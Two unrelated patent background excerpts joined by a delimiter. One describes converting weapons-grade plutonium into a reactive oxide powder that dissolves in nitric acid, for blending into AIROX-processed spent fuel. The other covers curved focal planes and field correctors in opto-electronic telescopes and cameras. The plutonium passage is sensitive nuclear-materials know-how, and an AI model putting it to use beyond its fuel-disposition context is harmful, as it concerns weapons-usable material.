In order for the fissile plutonium (Pu) to form an enrichment material for AIROXed spent fuel, however, it must be converted to a fine (<200 mesh) reactive plutonium oxide (PuO.sub.2) powder. Normally plutonium metal is converted to PuO.sub.2 powder by slow combustion. This does not, however, necessarily produce a fine reactive powder and can produce very unreactive (e.g., high-fired) oxide. High fired oxide (i.e., oxide heated at 550.degree. C. for over an hour) is very unreaetive, forms poor-quality LWR oxide fuel pellets, and could easily be separated from the PuO.sub.2 already in AIROXed spent fuel even after mixing by simple dissolution of the AIROXed produced PuO.sub.2 in 2N HNO.sub.3 (PUREX) process.
Fissile, high-fired PuO.sub.2 will not dissolve in 2N HNO.sub.3. AIROXed PuO.sub.2 is easily dissolved in 2N HNO.sub.3. Therefore, a method is needed which renders weapons grade plutonium to a form which is (1) reactive for fuel fabrication and (2) readily dissolves in 2N HNO.sub.3. |
Opto-electronic imaging systems are used, for example, in the field of space technology, for earth observation, in reconnaissance systems or in automotive engineering for recognizing obstacles. The sensor head of opto-electronic systems consists of front optics, for example, a lens objective or a telescope, detectors in the focal plane and electronics. The front optics, for example, reflecting telescopes as often used for space instruments have a curved image plane or a curved focal plane. However, conventional detector technology requires a planar design. To flatten the image surface, so-called field correctors or field flatteners must, therefore, be connected downstream of the telescopes or optics in order to be able to place a planar detector surface into the focal surface. In general, the field correctors consist of lens assemblies that can typically effect a correction of the image plane only in a limited region over the field of view.
FIG. 4 illustrates a conventional Cassegrain system that can be used as a reflecting telescope for space instruments. FIG. 5 illustrates the curved focal surface of a concave mirror. FIG. 6 illustrates a Quasi-Ritchey-Chrétien booster system with a conventional field corrector or its beam paths, respectively.
However, in many applications, a broad field of view is required, for example to achieve a broad swath width. A corresponding expansion of the visual field of the telescope is particularly required in a scanning pushbroom instrument. For reasons of stability, particularly to withstand the launching loads, reflecting telescopes are primarily used for geometric high-resolution space instruments. Furthermore, in many cases a broadband spectral sensitivity is required.
The detectors in the focal plane are the hearts of opto-electronic imaging systems. For example, conventional CCD detectors are often used as well as CMOS detectors with active pixel technology. These detectors have an integrated readout electronics and can be manufactured in one manufacturing process.
In the field of automotive engineering, cameras used for recognizing obstacles are required to have a large visual field or panorama cameras are used. However, these require complicated optics to achieve a large visual field and to reduce distortions. Correspondingly, the price for a camera or an imaging system for such applications is very high.
To achieve a better reproduction quality, very narrow thermo-mechanical tolerances are also required. The field correctors often restrict the spectral transmission range, which is caused, for example, by the narrow transmission range of the employed lens glasses.
Overall, the conventional opto-electronic imaging systems or detector designs exhibit significant disadvantages, such as the restriction of the field of view and the limitations of spectral transmission properties of the telescopes, a complex design with field correctors to create planar image planes, complicated and elaborate front optics and high costs.
Therefore, the objectives of the present invention include overcoming the aforementioned disadvantages, simplifying opto-electronic imaging systems and enabling wider fields of view (FOV). |
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